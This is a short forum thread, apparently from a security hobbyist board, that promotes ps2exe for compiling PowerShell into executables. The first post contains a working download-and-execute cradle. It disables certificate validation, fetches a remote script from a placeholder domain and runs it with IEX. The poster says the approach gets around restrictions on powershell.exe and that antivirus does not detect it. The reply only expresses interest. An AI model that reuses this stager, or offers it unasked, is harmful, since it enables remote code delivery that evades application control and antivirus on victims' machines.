xor-function Posted February 13, 2016 Share Posted February 13, 2016 I just wanted to let everybody here know about ps2exe, if you don't already. You can find it on TechNet if you search for it. What it does is compile a script to an executable by using a c# source code template that runs the script using the system.management.automation assembly. Since it uses a class library it stands a pretty good chance on bypassing any restrictions on the Powershell.exe program file. This is an example script I compiled using ps2exe. function start-download { [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } IEX (New-Object System.Net.Webclient).DownloadString('https://some-domain.com/ps-script.ps1') [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $false } } start-download This way you can change the code server side without having to recompile the binary unless you need to change the URL. So far AV doesn't light up and It seems to be working in Windows 10. Quote Link to comment Share on other sites More sharing options...
sud0nick Posted February 13, 2016 Share Posted February 13, 2016 Neat! I've used py2exe in the past but didn't know about ps2exe. I'll have to check it out. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.